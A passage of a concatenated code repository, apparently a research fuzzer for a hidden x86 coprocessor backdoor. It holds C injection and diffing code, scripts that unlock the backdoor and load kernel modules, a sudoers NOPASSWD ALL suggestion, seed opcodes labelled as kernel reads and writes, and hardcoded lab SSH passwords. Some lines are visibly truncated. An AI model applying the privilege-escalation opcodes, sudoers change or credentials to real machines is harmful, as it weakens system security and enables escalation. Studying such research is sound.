866 | [working_mm3]"m"(working_state.mm3),
867 | [working_mm4]"m"(working_state.mm4),
868 | [working_mm5]"m"(working_state.mm5),
869 | [working_mm6]"m"(working_state.mm6),
870 | [working_mm7]"m"(working_state.mm7)
871 | );
872 |
873 | __asm__ __volatile__ ("\
874 | pushfl \n\
875 | popl %[output_eflags] \n\
876 | "
877 | : [output_eflags]"=m"(output_state.eflags)
878 | :
879 | );
880 |
881 | #if TRACK_RING_0
882 | load_ring_0_state(&output_state);
883 | #endif
884 |
885 | #if USE_SEARCH_KERNEL
886 | handle=open("/dev/deis_kernel", O_RDWR);
887 | ioctl(handle, READ_BUFFER, &output_mem.data);
888 | close(handle);
889 | #endif
890 | }
891 |
892 | float frand(void)
893 | {
894 | return ((float)(rand()%RAND_MAX))/(RAND_MAX-1);
895 | }
896 |
897 | void generate_seeded_list(void)
898 | {
899 | int i;
900 | generated_seeded_ins=0;
901 | for (
902 | i=0;
903 | ideis=llrand();
972 | }
973 | else if (mode==INSTRUCTION_MODE_SEED) {
974 | ins->deis=get_seeded();
975 | }
976 | else {
977 | assert (0);
978 | }
979 | initialize_state(
980 | input_state,
981 | run_0_state_init,
982 | output_mem, /* memory_init will make pointers to this
983 | buffer */
984 | #if USE_SEARCH_KERNEL
985 | search==SEARCH_KERNEL?MEMORY_KERNEL:MEMORY_PATTERN
986 | #else
987 | MEMORY_PATTERN
988 | #endif
989 | );
990 | //TODO: maybe this is more cleanly put in inject, where the register
991 | //state is recorded
992 | *input_mem=*output_mem; /* record initial state */
993 | }
994 | else if (run==RUN_1) {
995 | /* second run */
996 | /* repeat previous run */
997 | *output_mem=*input_mem; /* reset target memory */
998 | }
999 | else if (run==RUN_2) {
1000 | /* third run */
1001 | /* run on a different randomized state */
1002 | initialize_state(
1003 | input_state,
1004 | STATE_RANDOM,
1005 | output_mem,
1006 | MEMORY_NOCHANGE
1007 | );
1008 | *output_mem=*input_mem; /* reset target memory */
1009 | }
1010 | else if (run==RUN_3) {
1011 | /* fourth run */
1012 | /* run on a patterned register state */
1013 | initialize_state(
1014 | input_state,
1015 | STATE_PATTERN,
1016 | output_mem,
1017 | MEMORY_NOCHANGE
1018 | );
1019 | *output_mem=*input_mem; /* reset target memory */
1020 | }
1021 | else {
1022 | assert(0);
1023 | }
1024 | }
1025 |
1026 | void print_memory_diff(mem_t* input, mem_t* output)
1027 | {
1028 | printf(KEY_MARKER);
1029 | printf(" ");
1030 | print_memory_headers();
1031 | printf(KEY_MARKER);
1032 | printf("inject: ");
1033 | print_memory(&input_mem);
1034 | printf(KEY_MARKER);
1035 | printf("result: ");
1036 | print_memory(&output_mem);
1037 | printf(KEY_MARKER);
1038 | printf(" ");
1039 | print_memory_diff_summary(input, output);
1040 | }
1041 |
1042 | #if TRACK_RING_0
1043 |
1044 | void print_dr_state_headers(void)
1045 | {
1046 | printf("%-8s %-8s %-8s %-8s %-8s %-8s %-8s %-8s\n",
1047 | "dr0", "dr1", "dr2", "dr3", "dr4", "dr5", "dr6", "dr7");
1048 | }
1049 |
1050 | void print_dr_state(state_t* state)
1051 | {
1052 | printf("%08x ", state->dr0);
1053 | printf("%08x ", state->dr1);
1054 | printf("%08x ", state->dr2);
1055 | printf("%08x ", state->dr3);
1056 | printf("%08x ", state->dr4);
1057 | printf("%08x ", state->dr5);
1058 | printf("%08x ", state->dr6);
1059 | printf("%08x ", state->dr7);
1060 | printf("\n");
1061 | }
1062 |
1063 | void print_dr_state_diff(state_t* state_1, state_t* state_2)
1064 | {
1065 | print_byte_diff((uint8_t*)&state_1->dr0, (uint8_t*)&state_2->dr0, 4, "", " ");
1066 | print_byte_diff((uint8_t*)&state_1->dr1, (uint8_t*)&state_2->dr1, 4, "", " ");
1067 | print_byte_diff((uint8_t*)&state_1->dr2, (uint8_t*)&state_2->dr2, 4, "", " ");
1068 | print_byte_diff((uint8_t*)&state_1->dr3, (uint8_t*)&state_2->dr3, 4, "", " ");
1069 | print_byte_diff((uint8_t*)&state_1->dr4, (uint8_t*)&state_2->dr4, 4, "", " ");
1070 | print_byte_diff((uint8_t*)&state_1->dr5, (uint8_t*)&state_2->dr5, 4, "", " ");
1071 | print_byte_diff((uint8_t*)&state_1->dr6, (uint8_t*)&state_2->dr6, 4, "", " ");
1072 | print_byte_diff((uint8_t*)&state_1->dr7, (uint8_t*)&state_2->dr7, 4, "", " ");
1073 | printf("\n");
1074 | }
1075 |
1076 | void print_cr_state_headers(void)
1077 | {
1078 | printf("%-8s %-8s %-8s %-8s %-8s %-8s %-8s %-8s\n",
1079 | "cr0", "", "cr2", "cr3", "cr4", "", "", "");
1080 | }
1081 |
1082 | void print_cr_state(state_t* state)
1083 | {
1084 | printf("%08x ", state->cr0);
1085 | printf("%8s ", "");
1086 | printf("%08x ", state->cr2);
1087 | printf("%08x ", state->cr3);
1088 | printf("%08x ", state->cr4);
1089 | printf("%8s ", "");
1090 | printf("%8s ", "");
1091 | printf("%8s ", "");
1092 | printf("\n");
1093 | }
1094 |
1095 | void print_cr_state_diff(state_t* state_1, state_t* state_2)
1096 | {
1097 | print_byte_diff((uint8_t*)&state_1->cr0, (uint8_t*)&state_2->cr0, 4, "", " ");
1098 | printf("%8s ", "");
1099 | print_byte_diff((uint8_t*)&state_1->cr2, (uint8_t*)&state_2->cr2, 4, "", " ");
1100 | print_byte_diff((uint8_t*)&state_1->cr3, (uint8_t*)&state_2->cr3, 4, "", " ");
1101 | print_byte_diff((uint8_t*)&state_1->cr4, (uint8_t*)&state_2->cr4, 4, "", " ");
1102 | printf("%8s ", "");
1103 | printf("%8s ", "");
1104 | printf("%8s ", "");
1105 | printf("\n");
1106 | }
1107 | #endif
1108 |
1109 | void print_state_diff(state_t* input, state_t* output)
1110 | {
1111 | printf(KEY_MARKER);
1112 | printf(" ");
1113 | print_gpr_state_headers();
1114 | printf(KEY_MARKER);
1115 | printf("inject: ");
1116 | print_gpr_state(input);
1117 | printf(KEY_MARKER);
1118 | printf("result: ");
1119 | print_gpr_state(output);
1120 | printf(KEY_MARKER);
1121 | printf(" ");
1122 | print_gpr_state_diff(input, output);
1123 |
1124 | printf(KEY_MARKER);
1125 | printf(" ");
1126 | print_mmx_0_3_state_headers();
1127 | printf(KEY_MARKER);
1128 | printf("inject: ");
1129 | print_mmx_0_3_state(input);
1130 | printf(KEY_MARKER);
1131 | printf("result: ");
1132 | print_mmx_0_3_state(output);
1133 | printf(KEY_MARKER);
1134 | printf(" ");
1135 | print_mmx_0_3_state_diff(input, output);
1136 |
1137 | printf(KEY_MARKER);
1138 | printf(" ");
1139 | print_mmx_4_7_state_headers();
1140 | printf(KEY_MARKER);
1141 | printf("inject: ");
1142 | print_mmx_4_7_state(input);
1143 | printf(KEY_MARKER);
1144 | printf("result: ");
1145 | print_mmx_4_7_state(output);
1146 | printf(KEY_MARKER);
1147 | printf(" ");
1148 | print_mmx_4_7_state_diff(input, output);
1149 |
1150 | printf(KEY_MARKER);
1151 | printf(" %-8s\n", "eflags");
1152 | printf(KEY_MARKER);
1153 | printf("inject: %08x\n", input->eflags);
1154 | printf(KEY_MARKER);
1155 | printf("result: %08x\n", output->eflags);
1156 | printf(KEY_MARKER);
1157 | printf(" ");
1158 | print_byte_diff((uint8_t*)&input->eflags, (uint8_t*)&output->eflags, 4, "", " ");
1159 | printf("\n");
1160 |
1161 | #if TRACK_RING_0
1162 | printf(KEY_MARKER);
1163 | printf(" ");
1164 | print_cr_state_headers();
1165 | printf(KEY_MARKER);
1166 | printf("inject: ");
1167 | print_cr_state(input);
1168 | printf(KEY_MARKER);
1169 | printf("result: ");
1170 | print_cr_state(output);
1171 | printf(KEY_MARKER);
1172 | printf(" ");
1173 | print_cr_state_diff(input, output);
1174 |
1175 | printf(KEY_MARKER);
1176 | printf(" ");
1177 | print_dr_state_headers();
1178 | printf(KEY_MARKER);
1179 | printf("inject: ");
1180 | print_dr_state(input);
1181 | printf(KEY_MARKER);
1182 | printf("result: ");
1183 | print_dr_state(output);
1184 | printf(KEY_MARKER);
1185 | printf(" ");
1186 | print_dr_state_diff(input, output);
1187 | #endif
1188 | }
1189 |
1190 | void fuzz(void)
1191 | {
1192 | extern instruction_t _bridge;
1193 | instruction_t* probe=&_bridge;
1194 | instruction_t ins;
1195 | run_t run;
1196 | #if !TARGET_KERNEL
1197 | search_t search=rand()%SEARCH_END;
1198 | #else
1199 | search_t search=SEARCH_KERNEL;
1200 | #endif
1201 | bool found_change;
1202 |
1203 | ins.prefix[0]=0x62;
1204 | ins.prefix[1]=0x04;
1205 | ins.prefix[2]=0x05;
1206 |
1207 | run=RUN_0;
1208 | while (1) {
1209 | (*run_tick)++;
1210 |
1211 | printf(">" LINE_BREAK);
1212 | if (search==SEARCH_STATE) {
1213 | printf("(search state)\n");
1214 | }
1215 | else if (search==SEARCH_MEMORY) {
1216 | printf("(search memory)\n");
1217 | }
1218 | #if USE_SEARCH_KERNEL
1219 | else if (search==SEARCH_KERNEL) {
1220 | printf("(search kernel)\n");
1221 | }
1222 | #endif
1223 | else {
1224 | assert (0);
1225 | }
1226 | printf("(run %d)\n", run);
1227 |
1228 | configure(
1229 | MODE,
1230 | search,
1231 | run,
1232 | &ins,
1233 | &input_state,
1234 | &output_state,
1235 | &input_mem,
1236 | &output_mem
1237 | );
1238 | input_state.eax=(uintptr_t)&_bridge;
1239 | #if !SIMULATE
1240 | *probe=ins;
1241 | #endif
1242 |
1243 | printf(KEY_MARKER);
1244 | print_instruction(&ins);
1245 |
1246 | printf("executing...\n");
1247 | fflush(stdout); /* always flush before running the deis */
1248 |
1249 | inject();
1250 |
1251 | printf("...done.\n");
1252 |
1253 | (*result_tick)++;
1254 |
1255 | found_change=false;
1256 |
1257 | if (!memory_equal(&input_mem,&output_mem)||!states_equal(&input_state,&output_state)) {
1258 | found_change=true;
1259 | printf("\n");
1260 | print_memory_diff(&input_mem, &output_mem);
1261 | print_state_diff(&input_state,&output_state);
1262 | }
1263 |
1264 | /* determine next run based on results */
1265 | if (found_change) {
1266 | run++;
1267 | if (run==RUN_END) {
1268 | /* move to next search strategy */
1269 | run=RUN_0;
1270 | search=(search+1)%SEARCH_END;
1271 | }
1272 | }
1273 | else {
1274 | /* no change detected */
1275 | if (run==RUN_0) {
1276 | /* no run started */
1277 | /* move to next search strategy */
1278 | search=(search+1)%SEARCH_END;
1279 | }
1280 | else {
1281 | /* run started, continue */
1282 | run++;
1283 | if (run==RUN_END) {
1284 | /* move to next search strategy */
1285 | run=RUN_0;
1286 | search=(search+1)%SEARCH_END;
1287 | }
1288 | }
1289 | }
1290 |
1291 | printf("<" LINE_BREAK);
1292 | fflush(stdout);
1293 |
1294 | usleep(FUZZ_DELAY);
1295 | }
1296 | }
1297 |
1298 | int main(void)
1299 | {
1300 | int pid;
1301 | unsigned int seed;
1302 | int failed_runs=0;
1303 |
1304 | run_tick=mmap(NULL, sizeof *run_tick, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
1305 | result_tick=mmap(NULL, sizeof *result_tick, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
1306 |
1307 | *run_tick=0;
1308 |
1309 | generate_seeded_list();
1310 |
1311 | while (1) {
1312 | *result_tick=0;
1313 |
1314 | pid=fork();
1315 |
1316 | if (pid==0) {
1317 | seed=time(NULL)*(*run_tick+1);
1318 | srand(seed);
1319 | printf("fuzzing (seed: %08x)...\n", seed);
1320 | fuzz();
1321 | }
1322 | else {
1323 | /* parent */
1324 | uint64_t last_run_tick=-1;
1325 |
1326 | while (1) {
1327 | usleep(RUN_TIMEOUT);
1328 | if (last_run_tick==*run_tick) {
1329 | printf("killing %d\n", pid);
1330 | fflush(stdout);
1331 | kill(pid, SIGKILL);
1332 | if (*result_tick==0) {
1333 | /* produced no result */
1334 | failed_runs++;
1335 | if (failed_runs>RESULT_TIMEOUT) {
1336 | /* sometimes system gets into state where the forked
1337 | * process _always_ fails. give up after n times;
1338 | * the controller will reset us when it sees we are
1339 | * no longer producing output */
1340 | printf("failed to execute %d times\n", failed_runs);
1341 | printf("quitting\n");
1342 | exit(-1);
1343 | }
1344 | }
1345 | else {
1346 | failed_runs=0;
1347 | }
1348 | break;
1349 | }
1350 | else {
1351 | last_run_tick=*run_tick;
1352 | }
1353 | }
1354 | }
1355 | }
1356 |
1357 | return 0;
1358 | }
1359 |
--------------------------------------------------------------------------------
/fuzz/deis/fuzz_deis.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # assumes no password required for sudo
4 | # (add 'username ALL=(ALL) NOPASSWD: ALL' to sudoers)
5 |
6 | DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
7 |
8 | echo "== unlocking backdoor =="
9 | sudo modprobe msr
10 | sudo $DIR/../../lock/bin/unlock
11 | echo "== loading privregs =="
12 | sudo insmod $DIR/../../kern/privregs/privregs.ko
13 | echo "== loading deis kernel =="
14 | sudo insmod $DIR/../../kern/deis_kernel.ko
15 | echo "== recording kernel log =="
16 | sudo tail -f /var/log/kern.log &
17 | echo "== launching deis =="
18 | sudo $DIR/bin/fuzz_deis | grep --color -E '\^|$'
19 | echo "== end launch deis =="
20 |
--------------------------------------------------------------------------------
/fuzz/deis/seed_ins.h:
--------------------------------------------------------------------------------
1 | /* kernel reads */
2 | uint32_t seed_ins_source[]={
3 | /* 4 byte */
4 | 0xc1f2adbd,
5 | 0xc291a469,
6 | 0xc291a46d,
7 | 0xc451b086,
8 | 0xc495874d,
9 | 0xc635b945,
10 | 0xc673b789,
11 | 0xc673b989,
12 | 0xc677a94d,
13 | 0xc677b94d,
14 | 0xc677b9c5,
15 | 0xc8538c8d,
16 | };
17 |
18 | /* not run */
19 | #if 0
20 | #endif
21 |
22 | /* run */
23 | #if 0
24 | /* zero bytes */
25 | uint32_t seed_ins_source[]={
26 | 0xc5e9a0d7,
27 | 0xc5caa8de,
28 | 0xc451b0c6,
29 | 0xc45190c6,
30 | };
31 |
32 | /* kernel reads */
33 | uint32_t seed_ins_source[]={
34 | /* 1 byte */
35 | 0x29b4fa1a,
36 | 0x2f535c47,
37 | 0x31118ba1,
38 | 0x3137b347,
39 | 0x3177f311,
40 | 0x31b20e73,
41 | 0x33d199a9,
42 | 0x33d52d94,
43 | 0x33d3d5b7,
44 | 0x82bba4e2,
45 | 0x871b8945,
46 | 0x8b330147,
47 | 0x8e8aa887,
48 | 0x8e8a8887,
49 | 0x8fd29b55,
50 | 0x8f24d36b,
51 | 0x92b7a4a8,
52 | 0xa18db253,
53 | 0xab169e41,
54 | 0xab77df0b,
55 | 0xac0db1bc,
56 | 0xac7e9948,
57 | 0xac7ea14a,
58 | 0xac9a9e85,
59 | 0xacfa83fe,
60 | 0xad97b502,
61 | 0xadbe8c8b,
62 | 0xadc9831e,
63 | 0xae979508,
64 | 0xaed1b681,
65 | 0xaed58ad7,
66 | 0xaedfba85,
67 | 0xaef79050,
68 | 0xaefeba89,
69 | 0xb0a0881d,
70 | 0xb16b81f6,
71 | 0xb16bb1f6,
72 | 0xb1b791e9,
73 | 0xb27aada9,
74 | 0xb36885f6,
75 | 0xc1f1ac03,
76 | 0xc411b82b,
77 | 0xc491a82b,
78 | 0xd407a107,
79 | };
80 |
81 | /* lgdt */
82 | uint32_t seed_ins_source[]={
83 | 0xa313075b,
84 | };
85 |
86 | /* kernel writes */
87 | uint32_t seed_ins_source[]={
88 | /* 1 byte */
89 | 0x9a17953f,
90 | 0x9f95944c,
91 | 0xe091a46f,
92 | 0xe291a46f,
93 | 0xe2b7ad2f,
94 | 0xf1971c49,
95 | 0xf1f6fc2b,
96 | 0xf217ad6f,
97 | 0xf2b3a56f,
98 | 0xf2b70d6f,
99 | 0xf2b7ad0f,
100 | 0xf2b7ad6b,
101 | 0xf2b7ad6f,
102 | 0xf2b7cd6f,
103 | 0xf357b4bc,
104 | 0xf3b78d6f,
105 | 0xfc343c0a,
106 | 0xfc920c0e,
107 | 0xfc92a40c,
108 | 0xfcb26c0e,
109 | /* 4 byte */
110 | 0xe091b46d,
111 | 0xe1f6b4ec,
112 | 0xe2118dfd,
113 | 0xe211a46d,
114 | 0xe2148cfd,
115 | 0xe2158d7d,
116 | 0xe2518dfd,
117 | 0xe2758dfd,
118 | 0xe291946d,
119 | 0xe293a46d,
120 | 0xe2d1ac6d,
121 | 0xe2d3ac6d,
122 | 0xe315adfd,
123 | 0xe3358dfd,
124 | 0xe391a46d,
125 | 0xe5f6b6ec,
126 | 0xe6d1b680,
127 | 0xfed394c8,
128 | };
129 |
130 | /* add, sub */
131 | uint32_t seed_ins_source[]={
132 | /* add */
133 | 0x8236a4e8,
134 | 0x82b6b0e8,
135 | 0x8a3651d0,
136 | 0x8a690bf0,
137 | 0x8a9d7308,
138 | 0x8a9df308,
139 | 0x8af76b08,
140 | 0x8afc5310,
141 | 0x8bf74d08,
142 | /* sub */
143 | 0x80d2c5f2,
144 | 0x80d4c5f2,
145 | 0x8171b5ca,
146 | 0x8257010a,
147 | 0x82572d0a,
148 | 0x8277610a,
149 | 0x8277adca,
150 | 0x829f83ca,
151 | 0x82b85312,
152 | 0x82db83ca,
153 | 0x82f0d90a,
154 | 0x833135ca,
155 | 0x837115ca,
156 | 0x837135ca,
157 | 0x8371b5ca,
158 | 0x8a7923d2,
159 | 0x8a7973d2,
160 | 0x8a9d730a,
161 | 0x8ac193f2,
162 | 0x8ad85312,
163 | 0x8af81312,
164 | 0x8af95312,
165 | 0x8afc4312,
166 | };
167 |
168 | /* immediate load */
169 | uint32_t seed_ins_source[]={
170 | 0xc270b389,
171 | };
172 |
173 | /* bitwise and, or */
174 | uint32_t seed_ins_source[]={
175 | /* and */
176 | 0x8b153514,
177 | 0x8b171d14,
178 | 0x8b370514,
179 | 0x8a171514,
180 | /* or */
181 | 0x82f48314,
182 | 0x82d3e5d5,
183 | 0x82d541f5,
184 | 0x82f141f5,
185 | };
186 |
187 | /* shift instructions */
188 | /*
189 | uint32_t seed_ins_source[]={
190 | 0x802d0fe3,
191 | 0x80d6c7c2,
192 | 0x80d6cfe2,
193 | 0x8115afe3,
194 | 0x812d67c3,
195 | 0x812f0fc3,
196 | 0x812f8fe2,
197 | 0x81566702,
198 | 0x81abbf03,
199 | 0x81f7cfe2,
200 | 0x81f7dfe2,
201 | 0x83af0fe3,
202 | 0x83fb27e2,
203 | 0x84d4c5e2,
204 | 0x85140703,
205 | 0x85144503,
206 | 0x85144703,
207 | 0x85146703,
208 | 0x85344703,
209 | 0x8554e703,
210 | 0x894aa7c2,
211 | 0x899bbf03,
212 | 0x89abb702,
213 | 0x89bbbf03,
214 | 0x89f78fe2,
215 | 0x8a09bfc3,
216 | 0x8ae8d7c3,
217 | 0x8b2bbf03,
218 | 0x84647de2,
219 | 0x8597b503,
220 | 0x856f7de2,
221 | 0x873f1702,
222 | 0x873fad03,
223 | 0x877f1f02,
224 | 0x877f3f02,
225 | 0x8c1f5d02,
226 | 0x850325c4,
227 | 0x85dfc704,
228 | 0x85eb6fe5,
229 | 0x863b9f05,
230 | 0x86437dc4,
231 | 0x870bc5c5,
232 | 0x873f0f00,
233 | 0x873f3f00,
234 | 0x874b85c5,
235 | 0x8c1f1500,
236 | 0x8c1f1d00,
237 | 0x8c3f1500,
238 | 0x8c3f9d00,
239 | 0x8cbd47c0,
240 | 0x8ceb2fe5,
241 | 0x8cfda5e0,
242 | 0x8d1f1500,
243 | 0x8d5f0d00,
244 | 0x8dab6fe5,
245 | 0x8dc395c4,
246 | 0x8deb2fe5,
247 | 0x8deb5fe5,
248 | 0x8deb6de5,
249 | 0x8debefc5,
250 | 0x8dfd85e0,
251 | 0x8dfda7e4,
252 | 0x8e1b7705,
253 | 0x8e1bbf05,
254 | 0x8e5845c5,
255 | 0x8e5d65e4,
256 | 0x8f1955c5,
257 | 0x8f3f0f00,
258 | 0x8f5865e5,
259 | 0x8f7f1f00,
260 | 0x8f985de5,
261 | 0x8006d7f0,
262 | 0x8026c7d0,
263 | 0x8026d7f0,
264 | 0x80a217d0,
265 | 0x8126d7d0,
266 | 0x8136d7d0,
267 | 0x813ae710,
268 | 0x8595c705,
269 | 0x86091d07,
270 | 0x8809cfd0,
271 | 0x8819cfc8,
272 | 0x881aaf08,
273 | 0x8826d7d0,
274 | 0x8859cfd0,
275 | 0x888186c8,
276 | 0x8898c7d0,
277 | 0x8919cfc8,
278 | 0x897a6710,
279 | 0x8aa8d7d0,
280 | 0x8b734f08,
281 | 0x8b9f5de5,
282 | 0x8bf76f08,
283 | 0x8dbca5e0,
284 | 0x8ddca5e0,
285 | 0x8de92fe5,
286 | 0x8dfca5c0,
287 | 0x8dfca7e0,
288 | 0x8dfcade0,
289 | 0x8dfcbde0,
290 | 0x8dfce5e0,
291 | 0x8e491d05,
292 | 0x8e5c65c4,
293 | 0x8e5c65e4,
294 | 0x8e5c6de4,
295 | 0x8e7c85c4,
296 | 0x8e95d7c5,
297 | 0x8ec945c5,
298 | 0x8ec947c5,
299 | 0x8fa18704,
300 | 0x8fe18504,
301 | 0x851c4f03,
302 | 0x8dfcade2,
303 | 0x842aadc7,
304 | 0x862aaf07,
305 | 0x866aad07,
306 | 0x870a05c5,
307 | 0x874a1d05,
308 | 0x8d8a1de5,
309 | 0x8e62a7c4,
310 | 0x85627de2,
311 | 0x8e5165e4,
312 | 0x8ff18504,
313 | };
314 | */
315 |
316 | /* gpr xfers */
317 | uint32_t seed_ins_source[]={
318 | 0xac128165,
319 | 0xac138147,
320 | 0xac138165,
321 | 0xac138345,
322 | 0xac1390af,
323 | 0xac13a14d,
324 | 0xac13ae90,
325 | 0xac13bf61,
326 | 0xac149b4b,
327 | 0xac15b927,
328 | 0xac1687e9,
329 | 0xac168f71,
330 | 0xac1787c1,
331 | 0xae50b662,
332 | 0xae55bac9,
333 | 0xae56be68,
334 | 0xafd1ae1f,
335 | 0xafd4ae2d,
336 | 0xafd6aa4e,
337 | 0xafd6ae2d,
338 | 0xafd6be68,
339 | 0xaff3bded,
340 | 0xb011b0e5,
341 | 0xb2548273,
342 | 0xb257a26d,
343 | 0xb257b315,
344 | 0xb3d19bb9,
345 | 0xb3d1b9b9,
346 | 0xb3d5a795,
347 | 0xb3e495c0,
348 | 0xb3f19f97,
349 | };
350 | #endif
351 |
--------------------------------------------------------------------------------
/fuzz/exit/Makefile:
--------------------------------------------------------------------------------
1 | all: bin/fuzz_exit
2 |
3 | bin/fuzz_exit: fuzz_exit.c
4 | mkdir -p bin
5 | gcc -m32 fuzz_exit.c -o bin/fuzz_exit
6 |
7 | clean:
8 | rm -f bin/*
9 |
--------------------------------------------------------------------------------
/fuzz/exit/fuzz_exit.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #define MAX_INSTRUCTIONS 100000
6 |
7 | /* inline constraints will add a $ before an immediate, which .space will
8 | * refuse to parse = no inline constriants for the space piece. can try to use
9 | * the preprocessor but it won't be able to resolve sizeof(). no good solution.
10 | * just hardcode the size. */
11 | #define INSTRUCTION_SIZE 7 /* sizeof(instruction_t) */
12 | #define PADDING (MAX_INSTRUCTIONS*INSTRUCTION_SIZE)
13 |
14 | #define STR_HELPER(x) #x
15 | #define STR(x) STR_HELPER(x)
16 |
17 | typedef struct instruction_t {
18 | unsigned char prefix[3];
19 | unsigned int instruction;
20 | } __attribute__ ((__packed__)) instruction_t;
21 |
22 | int main(void) __attribute__ ((section (".check,\"awx\",@progbits#")));
23 |
24 | instruction_t* bridge_indirect;
25 |
26 | int main(void)
27 | {
28 | extern instruction_t _bridge;
29 | instruction_t* probe=&_bridge;
30 | unsigned int b;
31 | int i;
32 |
33 | instruction_t ins;
34 |
35 | ins.prefix[0]=0x8d;
36 | ins.prefix[1]=0x84;
37 | ins.prefix[2]=0x00;
38 |
39 | printf("receiving...\n");
40 | printf(">\n"); /* signal to manager that we're ready for input */
41 | i=0;
42 | while (i\n"); /* signal to manager that we're done */
78 |
79 | return 0;
80 | }
81 |
--------------------------------------------------------------------------------
/fuzz/exit/fuzz_exit.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | # call the bridge from a wrapper, so that if it crashes we can still send out a
4 | # message
5 |
6 | # assumes no password required for sudo
7 | # (add 'username ALL=(ALL) NOPASSWD: ALL' to sudoers)
8 |
9 | DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
10 |
11 | echo "== unlocking backdoor =="
12 | sudo modprobe msr
13 | $DIR/../../lock/bin/unlock
14 | echo "== launching kern.log =="
15 | sudo tail -f /var/log/kern.log &
16 | echo "== launching bridge =="
17 | $DIR/bin/fuzz_exit
18 | echo "~~ to hell and back ~~"
19 |
--------------------------------------------------------------------------------
/fuzz/manager/device/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xoreaxeaxeax/rosenbridge/d90069da69de99af4528d537655de6dd7b594119/fuzz/manager/device/__init__.py
--------------------------------------------------------------------------------
/fuzz/manager/device/device.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import sys
3 | import logging.handlers
4 |
5 | # represents a fuzzing target
6 | class Device:
7 | def __init__(self, relay, ip, username="user", password="password", name="unnamed"):
8 | # configure logger
9 | logger = logging.getLogger("%s.%s" % (__name__, relay))
10 |
11 | file_handler = logging.handlers.RotatingFileHandler('device_%d.log' % relay, maxBytes=0, backupCount=50)
12 | file_handler.doRollover()
13 | logger.addHandler(file_handler)
14 |
15 | stream_handler = logging.StreamHandler(sys.stdout)
16 | logger.addHandler(stream_handler)
17 |
18 | logger.setLevel(logging.INFO)
19 |
20 | # configure device
21 | self.relay = relay
22 | self.ip = ip
23 | self.up = False
24 | self.username = username
25 | self.password = password
26 | self.name = name
27 | self.logger = logger
28 |
29 | def dprint(self, *args):
30 | m = "> device <%d, %s, %s>: " % (self.relay, self.ip, self.name) + " ".join(map(str, args))
31 | self.logger.info(m)
32 |
--------------------------------------------------------------------------------
/fuzz/manager/fuzz_deis.py:
--------------------------------------------------------------------------------
1 | # manages the fuzz_deis tool on a remote target
2 |
3 | import os
4 | import sys
5 | import paramiko
6 | import time
7 | import socket
8 | import random
9 | import collections
10 | from threading import Thread
11 |
12 | import power.power as power
13 | import util.indent as indent
14 | from device.device import Device
15 |
16 | TASK_TIMEOUT = 600 # max time to run the fuzz script (seconds)
17 | PING_DELAY = 1 # time to wait in between pings (seconds)
18 | BOOT_TIMEOUT = 120 # max time for the target to boot (aka respond to pings) (seconds)
19 |
20 | REMOTE_COMMAND = "~/_research/rosenbridge/fuzz/deis/fuzz_deis.sh"
21 |
22 | SIM = False
23 |
24 | systems = [
25 | Device(3, "192.168.3.160", "delta", "password", "unknown"),
26 | Device(2, "192.168.3.161", "delta", "password", "unknown"),
27 | Device(1, "192.168.3.162", "delta", "password", "unknown"),
28 | Device(5, "192.168.3.163", "delta", "password", "unknown"),
29 | Device(6, "192.168.3.164", "delta", "password", "unknown"),
30 | Device(7, "192.168.3.165", "delta", "password", "unknown"),
31 | Device(0, "192.168.3.166", "delta", "password", "unknown"),
32 | ]
33 |
34 | if SIM:
35 | systems = [Device(1, "localhost", "deltaop", "xxx", "unknown")]
36 |
37 | def device_up(device):
38 | device.dprint("pinging %s" % device.ip)
39 | response = os.system("timeout 1 ping -c 1 " + device.ip + " > /dev/null 2>&1")
40 | return response == 0
41 |
42 | # assumes device is powered off
43 | def task(device):
44 | on_round = 0
45 | while True:
46 | on_round = on_round + 1
47 | start = time.time()
48 | SIM or power.power_on(device.relay)
49 |
50 | start_time = time.time()
51 | device.up = False
52 | while not device.up and time.time() - start_time < BOOT_TIMEOUT:
53 | time.sleep(PING_DELAY)
54 | device.up = device_up(device)
55 |
56 | if not device.up:
57 | device.dprint("device exceeded reboot time, resetting")
58 |
59 | # this power down seems to interfere with the power on button push
60 | # in general, if the device hasn't booted, it's just because the
61 | # power on didn't take. just try the power on again instead.
62 | '''
63 | # power off
64 | SIM or power.power_off(device.relay)
65 |
66 | # target device seems to (sometimes) not recognize the power on, if not
67 | # enough time has elapsed after the shut down
68 | time.sleep(30) # needs to be large
69 | '''
70 |
71 | continue
72 |
73 | device.dprint("device up")
74 |
75 | # just because the device responds to pings doesn't mean it is
76 | # completely booted. give the device a bit longer before trying.
77 | time.sleep(10)
78 |
79 | retry = True
80 | while retry:
81 | try:
82 | device.dprint("connecting to device")
83 |
84 | device.dprint("(debug) create client")
85 | client = paramiko.SSHClient()
86 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
87 |
88 | device.dprint("(debug) connect")
89 | client.connect(device.ip, port=22, username=device.username,
90 | password=device.password)
91 |
92 | # after sshd starts, the system still has a bit to do before
93 | # it's done booting. don't want to spam the logs with
94 | # irrelevant kernel messages - wait a bit.
95 | device.dprint("(waiting)")
96 | time.sleep(10)
97 |
98 | device.dprint("(debug) exec")
99 | stdin, stdout, stderr = client.exec_command(
100 | REMOTE_COMMAND,
101 | timeout=TASK_TIMEOUT,
102 | get_pty=True
103 | )
104 |
105 | device.dprint("=============== log ===============")
106 |
107 | while True:
108 | M_TIMEOUT = 10
109 | abort = False
110 |
111 | start_time = time.time()
112 | while True:
113 | if stdout.channel.in_buffer:
114 | break
115 | if time.time() - start_time > M_TIMEOUT:
116 | device.dprint("(timeout - aborting)")
117 | abort = True
118 | break
119 | time.sleep(.2)
120 |
121 | if abort:
122 | break
123 |
124 | time.sleep(1) # accumulate rest of buffer
125 |
126 | m = stdout.read(len(stdout.channel.in_buffer))
127 |
128 | device.dprint(m)
129 |
130 | device.dprint("=============== end ===============")
131 |
132 | retry = False
133 | except socket.error as e:
134 | # the device is not yet up (probably, it is responding to pings,
135 | # but sshd has not been started)
136 | device.dprint("except %s" % e)
137 | device.dprint("(retrying)")
